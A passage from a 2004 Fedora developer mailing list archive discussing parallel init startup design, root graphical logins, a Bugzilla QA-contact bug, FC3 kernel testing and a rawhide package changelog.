hp at redhat.com Thu Oct 21 21:14:54 2004 From: hp at redhat.com (Havoc Pennington) Date: Thu, 21 Oct 2004 17:14:54 -0400 Subject: Paralell startup In-Reply-To: <1098392292.14972.48.camel@support02.civic.twp.ypsilanti.mi.us> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> <1098392147.11626.8.camel@localhost.localdomain> <1098392292.14972.48.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <1098393294.11626.17.camel@localhost.localdomain> On Thu, 2004-10-21 at 16:58 -0400, Sean Middleditch wrote: > On Thu, 2004-10-21 at 16:55 -0400, Havoc Pennington wrote: > > > With something like D-BUS involved it's far easier to e.g. have GUI for > > progress meters, starting/stopping services, display meaningful error > > messages, and so forth. You also avoid some of the yucky issues such as > > stuck PID files. Basically it's a lot more deterministic and extensible. > > Wasn't Seth (Nickell?) working on a Python/D-BUS init system prototype a > while back? What happened to that? It was just a prototype, I guess not finished. The hard part after all is switching over the system and fixing all the bugs. Havoc From alan at redhat.com Thu Oct 21 21:31:30 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 21 Oct 2004 17:31:30 -0400 Subject: Kernel Startup Log alatrt: ide probe fail In-Reply-To: <417815EA.7010106@wowway.com> References: <417815EA.7010106@wowway.com> Message-ID: <20041021213130.GB17912@devserv.devel.redhat.com> On Thu, Oct 21, 2004 at 04:02:50PM -0400, Demond James wrote: > Is it normal for the kernel to try to probe IDE interfaces that don't exist? > Anyone else have get these messages? Nothing adverse happens, not that > I can see anyway. These are debug messages, they can probably go away now the new ide probe code is tested - they are zero interest From notting at redhat.com Thu Oct 21 21:50:51 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 21 Oct 2004 17:50:51 -0400 Subject: Paralell startup In-Reply-To: <1098393294.11626.17.camel@localhost.localdomain> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> <1098392147.11626.8.camel@localhost.localdomain> <1098392292.14972.48.camel@support02.civic.twp.ypsilanti.mi.us> <1098393294.11626.17.camel@localhost.localdomain> Message-ID: <20041021215050.GB20279@nostromo.devel.redhat.com> Havoc Pennington (hp at redhat.com) said: > > Wasn't Seth (Nickell?) working on a Python/D-BUS init system prototype a > > while back? What happened to that? > > It was just a prototype, I guess not finished. The hard part after all > is switching over the system and fixing all the bugs. ... and finding out that it makes it all slower. :) Bill From notting at redhat.com Thu Oct 21 21:53:02 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 21 Oct 2004 17:53:02 -0400 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <1098390442.5337.6.camel@gibraltar.stuttgart.redhat.com> References: <20041021151332.GD26170@redhat.com> <1098390442.5337.6.camel@gibraltar.stuttgart.redhat.com> Message-ID: <20041021215302.GC20279@nostromo.devel.redhat.com> Nils Philippsen (nphilipp at redhat.com) said: > Given that (literally) nothing changed between test2 and test3 kernel- > wise (in the real test releases, not Rawhide) and the kernel was rebased > on 2.6.9 afterwards, you still might want to try -1.640 ;-) -- though > how you'd get the new kernel on the installation media is a bit beyond > me. Rawhide has boot images. Bill From jspaleta at gmail.com Thu Oct 21 22:00:06 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 21 Oct 2004 18:00:06 -0400 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <20041021160211.GA28594@jadzia.bu.edu> References: <20041021151332.GD26170@redhat.com> <20041021160211.GA28594@jadzia.bu.edu> Message-ID: <604aa79104102115007f83d1dd@mail.gmail.com> On Thu, 21 Oct 2004 12:02:11 -0400, Matthew Miller wrote: > It'd be nice if Red Hat would have someone whose job was to be a Bugzilla > Monkey, to make sure people feel like their reports are valued, to > do triage, and to make sure critical problems don't escape notice. If you have time to volunteer to do triage for fedora in bugzilla. I'm more than willing to talk to you about what you as a community member can do to volunteer to make things better and take some of the burden off of the package maintainer to keep up with all the reports. -jef From kbn at daimi.au.dk Thu Oct 21 22:51:12 2004 From: kbn at daimi.au.dk (Kim B. Nielsen) Date: Fri, 22 Oct 2004 00:51:12 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <1098204444.3860.22.camel@support02.civic.twp.ypsilanti.mi.us> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098203965.3705.6.camel@mgmk7.mgmux.com> <1098204444.3860.22.camel@support02.civic.twp.ypsilanti.mi.us> Message-ID: <41783D60.1010503@daimi.au.dk> Sean Middleditch wrote: >On Tue, 2004-10-19 at 17:39 +0100, Manuel Moreno wrote: > > >>On Mon, 2004-10-18 at 20:32 -0400, seth vidal wrote: >> >> >>>Disable root graphical logins. >>> >>>Period. >>> >>> >>> >>... >> >> >>>-sv >>> >>> >>> >>> >>Don't do it, for God's sake! >> >>Let's not forget that computers are to be useful *not* to be secure. >> >> > >Fortunately, the computer is 100% useful without having root graphical >logins. Anyone who thinks otherwise is failing to think of the actual >problem (I need to do task X) and is instead only thinking of an old >solution (just login as root). Everything you can possibly do by >logging in as root at GDM can be done some other way, in both a more >secure *and* a more convenient manner. > > > >>-- >>Manuel Moreno >> >> >> Actually, for my work, I use the graphical root login for one thing: Setting up a freshly installed machine... I know that this can be done from an user account, but I often have a lot of things that needs to be configured as root (both with graphical and shell tools). The shell tools isn't a problem, as a simple su - can accomplish this, but the graphical setup tools is a different story. When using a graphical (root-required) tool, you can run several (root) tools shortly after each other. But after some time, you will loose the privileges again. And then you need to use the root password yet again. This is anoying if it happens too many times a day. So I find the graphical root login usefull when setting up a fresh machine. Another issue is, that a system, at install time, can be configured without any users at all. This is for instance the case if you configure network authentication. If this setup for some reason doesn't work, and root cannot log in (graphically), the user is left with a system he cannot login to. Surely he can use a graphical console, but often a graphical login will be more usefull, since it can be easier to fix thing. Anyway, you are able to have a webbrowser and a console on the same screen, which I have found to be very usefull :) However, I'm voting in favor off a warning message at log in, and possibly some doomsday looking desktop. Regards /kbn From jamesaharrisonuk at yahoo.co.uk Thu Oct 21 23:33:18 2004 From: jamesaharrisonuk at yahoo.co.uk (James Harrison) Date: Thu, 21 Oct 2004 16:33:18 -0700 (PDT) Subject: Paralell startup In-Reply-To: <200410201639.07324.grmoc@yahoo.com> Message-ID: <20041021233318.48891.qmail@web25302.mail.ukl.yahoo.com> The origional point I tried to make was that if you dont give some indication that something failed to start on boot then unless you start diging around in system files you wont know something failed. > How would falling back to serial boot help? Jumping back into serial boot could be an indication that the boot process is not running correctly and that the operator should do some invesitgation to fix the problem. Perhaps where serial boot starts could be the indication to the problem. > Your definition of 'boot properly' needs explanation. What does it mean to > 'boot properly'? The machine boots into multiuser mode without any errors in the startup process. Sorry if this wasnt clear. Its pointless having a very fast booting system if the time you saved is spent finding out why the machine didnt "boot properly". Error checking and user notification is important. We already have rhgb as a tool for this.... James --- Roberto Peon wrote: > > > > On Wednesday 20 October 2004 01:13 pm, James Harrison wrote: > > > recache its fonts, or maybe ntpdate is syncing with the time server. > > > > Sometimes daemons fail, so there has to be a mechanism to show a failure. > > How would falling back to serial boot help? > > Not launching the services whose dependancies are not satisfied seems like a > > good idea to me. It is better than the current, try it anyway, and see it > fail (sometimes spectacularly). > > Your definition of 'boot properly' needs explanation. What does it mean to > 'boot properly'? > > My personal opinion is that you get any system that runs well enough that > you > can get in and fix the problem (hopefully, as quickly as possible...) has > booted successfully, if not satisfactorily. > > > -Roberto JP > > > What happens if the daemon/service fails that other daemons depend on? > Does > > the machine fail to boot properly or does it fail back to a serial boot? > > > > --- Jeff Pitman wrote: > > > On Wednesday 20 October 2004 22:53, Arjan van de Ven wrote: > > > > problem with parallel startup is that it *ALSO* increases how much > > > > the disk has to seek, which slows things down. For me it's not clear > > > > if it's actually a real gain or just a placebo one. > > > > > > It's a gain for those really long startup daemons. Maybe xfs has to > > > recache its fonts, or maybe ntpdate is syncing with the time server. > > > > > > Then again, if Apache were written in a Bash script with all of its > > > functions in separate script files and configuration spread out in > > > different files and sourced in, parallelism would be an issue wouldn't > > > it? > > > > > > I actually retooled this: http://www.fefe.de/minit/ for Redhat once and > > > the results were just night and day. Of course, I didn't run kudzu or > > > anything complicated like that. Just brought up the stuff I needed. > > > You practically don't even need hibernate or sleep when you get it this > > > good. (Doesn't help with X/GNOME/KDE startup, though) ;-) > > > > > > have fun, > > > -- > > > -jeff > > > > > > -- > > > fedora-devel-list mailing list > > > fedora-devel-list at redhat.com > > > http://www.redhat.com/mailman/listinfo/fedora-devel-list > > > > __________________________________________________ > > Do You Yahoo!? > > Tired of spam? Yahoo! Mail has the best spam protection around > > http://mail.yahoo.com > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From ndbecker2 at verizon.net Thu Oct 21 23:59:34 2004 From: ndbecker2 at verizon.net (Neal Becker) Date: Thu, 21 Oct 2004 19:59:34 -0400 Subject: rawhide report: 20041021 changes References: <200410211245.i9LCjVO18627@porkchop.devel.redhat.com> Message-ID: x86_64 rpms don't seem to have made it to any of the sites in my yum.conf as of now. It doesn't usually take this long. From hp at redhat.com Fri Oct 22 00:10:15 2004 From: hp at redhat.com (Havoc Pennington) Date: Thu, 21 Oct 2004 20:10:15 -0400 Subject: Paralell startup In-Reply-To: <20041021215050.GB20279@nostromo.devel.redhat.com> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> <1098392147.11626.8.camel@localhost.localdomain> <1098392292.14972.48.camel@support02.civic.twp.ypsilanti.mi.us> <1098393294.11626.17.camel@localhost.localdomain> <20041021215050.GB20279@nostromo.devel.redhat.com> Message-ID: <1098403815.10751.2.camel@localhost.localdomain> On Thu, 2004-10-21 at 17:50 -0400, Bill Nottingham wrote: > Havoc Pennington (hp at redhat.com) said: > > > Wasn't Seth (Nickell?) working on a Python/D-BUS init system prototype a > > > while back? What happened to that? > > > > It was just a prototype, I guess not finished. The hard part after all > > is switching over the system and fixing all the bugs. > > ... and finding out that it makes it all slower. :) > Heh, right ;-) Though, one of the reasons to go with something more program/API-like rather than makefile/shell is that it has conceivable advantages other than speed. You could imagine for example that rhgb is only a "view" that doesn't have any interaction with or entanglement with the actual boot process, it just watches events about boot progress and displays them. I don't know how close that is to true already, but it might be a nice situation. For that matter, maybe rhgb could just become part of gdm, if we can get gdm launched early enough instead of at the end. Just speculating. Havoc From derekm at hackunix.org Fri Oct 22 00:09:33 2004 From: derekm at hackunix.org (Derek P. Moore) Date: Thu, 21 Oct 2004 19:09:33 -0500 Subject: Paralell startup In-Reply-To: <08AEBA0E4211F64FC285C573@[10.169.6.246]> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> <20041020013857.GC5631@nostromo.devel.redhat.com> <08AEBA0E4211F64FC285C573@[10.169.6.246]> Message-ID: <1098403773.10254.25.camel@walk.straycat.hackunix.org> > Migration path: How do you handle the scripts that haven't been updated? The old init scripts would have the old chkconfig line in them. Currently, with ordered startup and shutdown, initscripts have something similar to the following embedded within them: # chkconfig: - 60 20 And the initscript's runlevel symlinks are along the lines of: /etc/rc.d/rc3.d/S60nfs (for startup) /etc/rc.d/rc3.d/K20nfs (for shutdown) If a dependency handling framework were added to Fedora's rc scripts, I imagine that would require a new sort of 'chkconfig' line for the newer initscripts. That newer embedded hint would contain the dependency information for system tools (like chkconfig) and for the boot scripts to build the order at runtime. I also suppose runlevel symlinks for the newer initscripts could be along the lines of: /etc/rc.d/rc3.d/Snfs /etc/rc.d/rc3.d/Knfs > Lump them all at the end in traditional serial order? Yeah... /etc/rc.d/rc could go through S[[:alpha:]]*, parse out each file's new chkconfig hints, build the order, and run the parallel startup. When that's done, if there are any S[[:digit:]]*, execute those as according to trandition. Same goes for shutdown (although I suppose ordered services should be shutdown first, then paralleled services shutdown after). Sounds simple enough really. Peace out, Derek From elanthis at awesomeplay.com Fri Oct 22 00:22:28 2004 From: elanthis at awesomeplay.com (Sean Middleditch) Date: Thu, 21 Oct 2004 20:22:28 -0400 Subject: Lock screen does not work for root in gnome In-Reply-To: <41783D60.1010503@daimi.au.dk> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098203965.3705.6.camel@mgmk7.mgmux.com> <1098204444.3860.22.camel@support02.civic.twp.ypsilanti.mi.us> <41783D60.1010503@daimi.au.dk> Message-ID: <417852C4.6020405@awesomeplay.com> Kim B. Nielsen wrote: > > Actually, for my work, I use the graphical root login for one thing: > > Setting up a freshly installed machine... I know that this can be done > from an user account, but I Kickstart doesn't help? It's a fairly useful technology that only Red Hat has a good implementation of. (That I'm aware of.) > > Another issue is, that a system, at install time, can be configured > without any users at all. This is for instance the case if you > configure network authentication. If this setup for some reason > doesn't work, and root cannot log in (graphically), the user is left > with a system he cannot login to. Surely he can use a graphical > console, but often a graphical login will be more usefull, since it > can be easier to fix thing. Anyway, you are able to have a webbrowser > and a console on the same screen, which I have found to be very > usefull :) But an admin can get into X even if GDM disallows it. And only an admin is setting up machines with network authentication. It's the home users that don't have a fricken' clue that think, "oh, I'll log in as this root thingy, it's soooo much easier!" that are the problem. > > However, I'm voting in favor off a warning message at log in, and > possibly some doomsday looking desktop. > > Regards > /kbn > From veguilla at hpcf.upr.edu Fri Oct 22 00:46:00 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Thu, 21 Oct 2004 20:46:00 -0400 Subject: Paralell startup In-Reply-To: <1098403773.10254.25.camel@walk.straycat.hackunix.org> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> <20041020013857.GC5631@nostromo.devel.redhat.com> <08AEBA0E4211F64FC285C573@[10.169.6.246]> <1098403773.10254.25.camel@walk.straycat.hackunix.org> Message-ID: <1098405961.10592.15.camel@ricardo.veguilla.net> On Thu, 2004-10-21 at 19:09 -0500, Derek P. Moore wrote: > > Migration path: How do you handle the scripts that haven't been updated? > > The old init scripts would have the old chkconfig line in them. > > Currently, with ordered startup and shutdown, initscripts have something > similar to the following embedded within them: > > # chkconfig: - 60 20 > > And the initscript's runlevel symlinks are along the lines of: > > /etc/rc.d/rc3.d/S60nfs (for startup) > /etc/rc.d/rc3.d/K20nfs (for shutdown) > > If a dependency handling framework were added to Fedora's rc scripts, I > imagine that would require a new sort of 'chkconfig' line for the newer > initscripts. That newer embedded hint would contain the dependency > information for system tools (like chkconfig) and for the boot scripts > to build the order at runtime. > > I also suppose runlevel symlinks for the newer initscripts could be > along the lines of: > > /etc/rc.d/rc3.d/Snfs > /etc/rc.d/rc3.d/Knfs > > > Lump them all at the end in traditional serial order? > > Yeah... /etc/rc.d/rc could go through S[[:alpha:]]*, parse out each > file's new chkconfig hints, build the order, and run the parallel > startup. When that's done, if there are any S[[:digit:]]*, execute > those as according to trandition. Same goes for shutdown (although I > suppose ordered services should be shutdown first, then paralleled > services shutdown after). > Like I said previously, you don't need to run a traditional (serial) startup process after the parallel startup to catch third party scripts lacking the dependencies info, you only need to generate the new dependencies info from current "chkconfig" info for each third-party script. For example: # /etc/init.d/somescript # chkconfig: - 60 20 the dependencies for "somescript" are all the scripts that would preceded "somescript" in the traditional serial startup. > Sounds simple enough really. > > Peace out, > > Derek > Regards, -- Ricardo Veguilla From notting at redhat.com Fri Oct 22 01:34:13 2004 From: notting at redhat.com (Bill Nottingham) Date: Thu, 21 Oct 2004 21:34:13 -0400 Subject: Paralell startup In-Reply-To: <1098403815.10751.2.camel@localhost.localdomain> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> <1098392147.11626.8.camel@localhost.localdomain> <1098392292.14972.48.camel@support02.civic.twp.ypsilanti.mi.us> <1098393294.11626.17.camel@localhost.localdomain> <20041021215050.GB20279@nostromo.devel.redhat.com> <1098403815.10751.2.camel@localhost.localdomain> Message-ID: <20041022013412.GB22572@nostromo.devel.redhat.com> Havoc Pennington (hp at redhat.com) said: > You could imagine for example that rhgb is only a "view" that doesn't > have any interaction with or entanglement with the actual boot process, > it just watches events about boot progress and displays them. I don't > know how close that is to true already, Hahaha, that is so not true now. > situation. For that matter, maybe rhgb could just become part of gdm, if > we can get gdm launched early enough instead of at the end. Just > speculating. Ideally, what happens is: - you get *full* X up as early as possible (as opposed to the limited X rhgb runs on now) - you start gdm - as a 'PreLoginAvailable' thing in gdm, you run rhgb, which just collects script events (via dbus, presumably) and puts up information Main technical barriers: - getting enough of an env for full X to run early - get filesystems mounted read-write quickly - make X deal gracefully with the lack of xfs at startup (or just shoot xfs :) ) - finding a good way for a gdm managed X to make its screen available for rhgb, firstboot, and other 'custom' pre-session widgetry Bill From music-cornette at sbcglobal.net Fri Oct 22 03:46:35 2004 From: music-cornette at sbcglobal.net (Jim Cornette) Date: Thu, 21 Oct 2004 23:46:35 -0400 Subject: bugzilla removes QAContact In-Reply-To: <20041018094901.0111f405.fedora@wir-sind-cool.org> References: <20041018094901.0111f405.fedora@wir-sind-cool.org> Message-ID: <4178829B.1020906@sbcglobal.net> Michael Schwendt wrote: >Why is it that adding normal comments to bugzilla tickets without >touching anything else removes the QAContact person? > > What |Removed |Added >---------------------------------------------------------------------------- > QAContact|somebody at redhat.com | > >I've seen this multiple times before. And in a ticket's activity >log, it appears, too. > > > I've seen this problem happen twice for the same bug. I don't think that the person who is "removing" the QA contact has the permissions needed to remove the contact. I tried adding back the contact once, but was not allowed to readd the contact. Are there any bugs filed against bugzilla for this problem? From michael at insitesinc.com Fri Oct 22 04:36:56 2004 From: michael at insitesinc.com (Michael Favia) Date: Thu, 21 Oct 2004 23:36:56 -0500 Subject: Paralell startup In-Reply-To: <1098386407.4125.5.camel@kyrre> References: <20041020171355.38136.qmail@web25301.mail.ukl.yahoo.com> <200410201639.07324.grmoc@yahoo.com> <604aa79104102014094a397107@mail.gmail.com> <0687A3DEE8748B522BA84319@[10.169.6.246]> <41774B74.4050608@insitesinc.com> <41777F75.8060404@redhat.com> <4177E24C.2010208@insitesinc.com> <1098386407.4125.5.camel@kyrre> Message-ID: <41788E68.3000505@insitesinc.com> Kyrre Ness Sjobak wrote: >tor, 21.10.2004 kl. 18.22 skrev Michael Favia: > > > >...or simply "gray out" (ie not activate) the GDM login prompt before >network etc is up... > > I disagree here you want to enable interaction as quickly as possible to impart the idea of being started up. Instead delay verification of credentials. -mf From nphilipp at redhat.com Fri Oct 22 07:18:46 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Fri, 22 Oct 2004 09:18:46 +0200 Subject: Latest Fedora Core 3 status: kernel testing needed In-Reply-To: <20041021215302.GC20279@nostromo.devel.redhat.com> References: <20041021151332.GD26170@redhat.com> <1098390442.5337.6.camel@gibraltar.stuttgart.redhat.com> <20041021215302.GC20279@nostromo.devel.redhat.com> Message-ID: <1098429526.13607.2.camel@wombat.tiptoe.de> On Thu, 2004-10-21 at 17:53 -0400, Bill Nottingham wrote: > Nils Philippsen (nphilipp at redhat.com) said: > > Given that (literally) nothing changed between test2 and test3 kernel- > > wise (in the real test releases, not Rawhide) and the kernel was rebased > > on 2.6.9 afterwards, you still might want to try -1.640 ;-) -- though > > how you'd get the new kernel on the installation media is a bit beyond > > me. > > Rawhide has boot images. Obviously it does. Ouch. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From kbn at daimi.au.dk Fri Oct 22 08:15:52 2004 From: kbn at daimi.au.dk (Kim B. Nielsen) Date: Fri, 22 Oct 2004 10:15:52 +0200 Subject: Lock screen does not work for root in gnome In-Reply-To: <417852C4.6020405@awesomeplay.com> References: <4172F445.9010809@redhat.com> <1098110879.2691.11.camel@kyrre> <2ad7cea10410181616fcfd828@mail.gmail.com> <1098145638.10425.3.camel@localhost.localdomain> <41745FAE.5000703@redhat.com> <1098145933.30531.2.camel@binkley> <1098203965.3705.6.camel@mgmk7.mgmux.com> <1098204444.3860.22.camel@support02.civic.twp.ypsilanti.mi.us> <41783D60.1010503@daimi.au.dk> <417852C4.6020405@awesomeplay.com> Message-ID: <4178C1B8.5090004@daimi.au.dk> Sean Middleditch wrote: > Kim B. Nielsen wrote: > >> >> Actually, for my work, I use the graphical root login for one thing: >> >> Setting up a freshly installed machine... I know that this can be >> done from an user account, but I > > > > Kickstart doesn't help? It's a fairly useful technology that only Red > Hat has a good implementation of. (That I'm aware of.) > Yes, we do use kickstarts... But that isn't really feasible on the laptops we are installing, because the hardware is different on nearly each one and everyone wants to be root on their laptop. Having root on their laptop means, of course, that the laptop isn't trusted on our network... We are, however, using kickstarts to a large extent on our regular machines. >> >> Another issue is, that a system, at install time, can be configured >> without any users at all. This is for instance the case if you >> configure network authentication. If this setup for some reason >> doesn't work, and root cannot log in (graphically), the user is left >> with a system he cannot login to. Surely he can use a graphical >> console, but often a graphical login will be more usefull, since it >> can be easier to fix thing. Anyway, you are able to have a webbrowser >> and a console on the same screen, which I have found to be very >> usefull :) > > > But an admin can get into X even if GDM disallows it. And only an > admin is setting up machines with network authentication. It's the > home users that don't have a fricken' clue that think, "oh, I'll log > in as this root thingy, it's soooo much easier!" that are the problem. True... But I think that the doomsday screen and warning message will work better, than disallowing the graphical login. When you are setting something up on a machine, it's sometimes easier to use the graphical root to configure the thingy and make it work, and then, afterwards, figure out how to make normal users use the thingy. > >> >> However, I'm voting in favor off a warning message at log in, and >> possibly some doomsday looking desktop. >> >> Regards >> /kbn >> > -- "He who controls the proxy server, controls the world..." From fedora at wir-sind-cool.org Fri Oct 22 11:22:16 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Fri, 22 Oct 2004 13:22:16 +0200 Subject: bugzilla removes QAContact In-Reply-To: <4178829B.1020906@sbcglobal.net> References: <20041018094901.0111f405.fedora@wir-sind-cool.org> <4178829B.1020906@sbcglobal.net> Message-ID: <20041022132216.5203762b.fedora@wir-sind-cool.org> On Thu, 21 Oct 2004 23:46:35 -0400, Jim Cornette wrote: > >Why is it that adding normal comments to bugzilla tickets without > >touching anything else removes the QAContact person? > > > > What |Removed |Added > >---------------------------------------------------------------------------- > > QAContact|somebody at redhat.com | > > > >I've seen this multiple times before. And in a ticket's activity > >log, it appears, too. > > > > > > > I've seen this problem happen twice for the same bug. I don't think that > the person who is "removing" the QA contact has the permissions needed > to remove the contact. > I tried adding back the contact once, but was not allowed to readd the > contact. > Are there any bugs filed against bugzilla for this problem? I've found these: non-priveleged users can remove the qa contact https://bugzilla.redhat.com/116017 QA contact was removed instead of my email added to cc: https://bugzilla.redhat.com/132004 But what looks like a bug to the user could be a side-effect of a feature. E.g. QA contact removes himself, but database update or ticket update is not posted until another change like adding a user to Cc is done. Hence I asked before I queried bugzilla. I'm sure there are other bugs. It happens to me that I receive empty bugzilla mails occasionally, which contain only the link to a ticket. -- Fedora Core release 2 (Tettnang) - Linux 2.6.8-1.541 loadavg: 0.08 0.22 0.15 From buildsys at redhat.com Fri Oct 22 11:55:22 2004 From: buildsys at redhat.com (Build System) Date: Fri, 22 Oct 2004 07:55:22 -0400 Subject: rawhide report: 20041022 changes Message-ID: <200410221155.i9MBtMx24403@porkchop.devel.redhat.com> Removed package hwcrypto Updated Packages: createrepo-0.4.1-1 ------------------ * Thu Oct 21 2004 Paul Nasrat - 0.4.1, fixes #136613 - matched ghosts not being added into primary.xml files dovecot-0.99.11-1.FC3.4 ----------------------- * Thu Oct 21 2004 John Dennis - fix bug #136623 Change License field from GPL to LGPL to reflect actual license fedora-release-3-rawhide ------------------------ glibc-2.3.3-73 -------------- * Thu Oct 21 2004 Jakub Jelinek 2.3.3-73 - remove setaltroot and key{_add,_request,ctl} also from Versions - back out _sys_errlist changes * Thu Oct 21 2004 Jakub Jelinek 2.3.3-72 - back out setaltroot and key{_add,_request,ctl} addition - fix severe x86-64 symbol versioning regressions that breaks e.g. java binaries * Wed Oct 20 2004 Jakub Jelinek 2.3.3-71 - update from CVS - fix minor catchsegv temp file handling vulnerability (CAN-2004-0968, #136319) - add 4 new errno codes - setaltroot, key{_add,_request,ctl} syscalls on some arches - export _dl_debug_state at GLIBC_PRIVATE from ld.so again for gdb purpose - use inet_pton to decide what is address and what is hostname in getent (#135422) - change dladdr/dladdr1, so that dli_saddr is the same kind of value as dlsym/dlvsym return (makes difference on ia64/hppa only) - fix catchsegv script so that it works with both 32-bit and 64-bit programs on multi-arch platforms rpmdb-fedora-3-0.20041022 ------------------------- selinux-policy-targeted-1.17.30-2.8 ----------------------------------- * Thu Oct 21 2004 Dan Walsh 1.17.30-2.8 - fix snmpd ioctl on etc_t * Wed Oct 20 2004 Dan Walsh 1.17.30-2.7 - Add types for nss_db files in /var/db/ - Bug #136522 shadow-utils-4.0.3-37 --------------------- * Thu Oct 21 2004 Dan Walsh 2:4.0.3-37 - Add matchpathcon to create the files correctly when they do not exist. udev-039-6 ---------- * Thu Oct 21 2004 Harald Hoyer - 039-6 - fixed typo * Thu Oct 21 2004 Harald Hoyer - 039-5 - added udev-039-norm.patch, which prevents removal of hd* devices, because the kernel sends remove/add events, if an IDE removable device is close(2)ed. mke2fs, e.g. would fail in this case. * Wed Oct 20 2004 Harald Hoyer - 039-4 - do not call dev.d scripts, if network interface hasn't changed the name - correct wait for dummy network devices - removed NONBLOCK from volume-id - do not log in udev.static, which should fix bug 136005 xpdf-3.00-10 ------------ * Thu Oct 21 2004 Than Ngo 1:3.00-10 - apply patch to fix CAN-2004-0888 * Thu Oct 21 2004 Than Ngo 1:3.00-9 - fix xpdf crash #136633 yum-2.1.10-3 ------------ * Thu Oct 21 2004 Jeremy Katz - 2.1.10-3 - actually remove the repositories From veillard at redhat.com Fri Oct 22 12:42:10 2004 From: veillard at redhat.com (Daniel Veillard) Date: Fri, 22 Oct 2004 08:42:10 -0400 Subject: Paralell startup In-Reply-To: <1098403815.10751.2.camel@localhost.localdomain> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> <200410201255.i9KCtcK02168@rio.sci.ccny.cuny.edu> <1098392147.11626.8.camel@localhost.localdomain> <1098392292.14972.48.camel@support02.civic.twp.ypsilanti.mi.us> <1098393294.11626.17.camel@localhost.localdomain> <20041021215050.GB20279@nostromo.devel.redhat.com> <1098403815.10751.2.camel@localhost.localdomain> Message-ID: <20041022124209.GF26196@redhat.com> On Thu, Oct 21, 2004 at 08:10:15PM -0400, Havoc Pennington wrote: > You could imagine for example that rhgb is only a "view" that doesn't > have any interaction with or entanglement with the actual boot process, > it just watches events about boot progress and displays them. I don't > know how close that is to true already, but it might be a nice Well communication goes both ways for example to be able to get user input in kudzu. > situation. For that matter, maybe rhgb could just become part of gdm, if > we can get gdm launched early enough instead of at the end. Just > speculating. I don't think we can completely merge both but, integrating part of gdm functionalities within rhgb, for example to allow login before the boot finishes is one of the future improvement. I plan to write down within a couple of weeks how I would like rhgb to improve and evolve. Parallel startup is only one of the aspects of getting a shorter and smoother "time to session from boot" which is IMHO the real design goal. Daniel -- Daniel Veillard | Red Hat Desktop team http://redhat.com/ veillard at redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From feliciano.matias at free.fr Fri Oct 22 12:52:05 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 22 Oct 2004 14:52:05 +0200 Subject: [off-topic] Thanks Red Hat and others Message-ID: <1098449525.9254.35.camel@localhost.localdomain> http://nosoftwarepatents.com/phpBB2/viewtopic.php?p=2 Many Thanks ;-) FC3 is nice as expected. - Linux 2.6 is _incredible_, getting better and better (it sucks when burning CD, I should investigate). - udev/hal/g-v-m is a must have. Amassing how it get improved during FC3 test. - Gnome 2.8 is ... well, you know : "Just works", as I like. - ext3 is rock solid as usual, faster and got online resizing capability. - yum : faster (or less slower :-)) - many other pieces of software (I don't have the skin to comment). - ... I am _very_ happy with FC3. And all is free(dom). Thanks all ! Sure it's an off-topic message but I feel better now :-) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From feliciano.matias at free.fr Fri Oct 22 13:07:08 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Fri, 22 Oct 2004 15:07:08 +0200 Subject: [off-topic] Thanks Red Hat and others In-Reply-To: <1098449525.9254.35.camel@localhost.localdomain> References: <1098449525.9254.35.camel@localhost.localdomain> Message-ID: <1098450429.9254.44.camel@localhost.localdomain> Le vendredi 22 octobre 2004 ? 14:52 +0200, Matias F?liciano a ?crit : > - many other pieces of software (I don't have the skin to comment). > - ... Forget : gstreamer/totem/theora (and HelixPlayer). Not perfect but a very good start. For the _first_ time Red Hat/Fedora come with a video player :-) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From symbiont at berlios.de Fri Oct 22 14:17:36 2004 From: symbiont at berlios.de 